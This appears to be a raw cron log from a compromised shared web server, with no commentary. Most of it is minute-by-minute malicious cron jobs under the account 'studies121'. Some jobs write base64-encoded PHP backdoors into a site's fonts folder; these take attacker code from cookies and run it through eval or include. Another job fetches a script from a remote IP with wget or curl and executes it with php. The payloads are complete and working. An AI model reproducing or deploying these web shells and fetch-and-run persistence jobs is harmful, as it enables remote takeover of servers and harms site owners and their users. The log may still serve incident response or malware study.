Sep 11 04:57:01 ip-184-168-122-23 CROND[1706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:57:01 ip-184-168-122-23 CROND[1708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:57:01 ip-184-168-122-23 CROND[1707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:57:01 ip-184-168-122-23 CROND[1709]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 11 04:58:02 ip-184-168-122-23 CROND[2353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:58:02 ip-184-168-122-23 CROND[2354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:58:02 ip-184-168-122-23 CROND[2358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:58:02 ip-184-168-122-23 CROND[2359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:58:02 ip-184-168-122-23 CROND[2361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:59:01 ip-184-168-122-23 CROND[3184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:59:01 ip-184-168-122-23 CROND[3187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:59:01 ip-184-168-122-23 CROND[3186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:59:01 ip-184-168-122-23 CROND[3189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:59:04 ip-184-168-122-23 crontab[3269]: (root) LIST (root)
Sep 11 05:00:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 05:00:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:00:01 ip-184-168-122-23 CROND[3760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:00:01 ip-184-168-122-23 CROND[3769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:00:01 ip-184-168-122-23 CROND[3771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:00:20 ip-184-168-122-23 crontab[3867]: (root) LIST (root)
Sep 11 05:00:20 ip-184-168-122-23 crontab[3869]: (root) LIST (root)
Sep 11 05:00:27 ip-184-168-122-23 crontab[3968]: (root) LIST (root)
Sep 11 05:01:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 11 05:01:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 05:01:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4206]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:01:01 ip-184-168-122-23 CROND[4211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4206]: starting 0anacron
Sep 11 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4227]: finished 0anacron
Sep 11 05:02:01 ip-184-168-122-23 CROND[4695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:02:01 ip-184-168-122-23 CROND[4698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:02:01 ip-184-168-122-23 CROND[4700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:02:01 ip-184-168-122-23 CROND[4699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:02:01 ip-184-168-122-23 CROND[4701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:03:01 ip-184-168-122-23 CROND[4895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:03:01 ip-184-168-122-23 CROND[4898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:03:01 ip-184-168-122-23 CROND[4899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:03:01 ip-184-168-122-23 CROND[4900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:04:01 ip-184-168-122-23 CROND[4987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:04:01 ip-184-168-122-23 CROND[4988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:04:01 ip-184-168-122-23 CROND[4989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:04:01 ip-184-168-122-23 CROND[4990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:04:01 ip-184-168-122-23 CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5161]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:05:01 ip-184-168-122-23 CROND[5163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:05:01 ip-184-168-122-23 CROND[5166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:06:01 ip-184-168-122-23 CROND[5317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:06:01 ip-184-168-122-23 CROND[5320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:06:01 ip-184-168-122-23 CROND[5321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:06:01 ip-184-168-122-23 CROND[5322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:06:01 ip-184-168-122-23 CROND[5325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:07:01 ip-184-168-122-23 CROND[5435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:07:01 ip-184-168-122-23 CROND[5437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:07:01 ip-184-168-122-23 CROND[5440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:07:01 ip-184-168-122-23 CROND[5439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:08:01 ip-184-168-122-23 CROND[5549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:08:01 ip-184-168-122-23 CROND[5551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:08:01 ip-184-168-122-23 CROND[5552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:08:01 ip-184-168-122-23 CROND[5554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
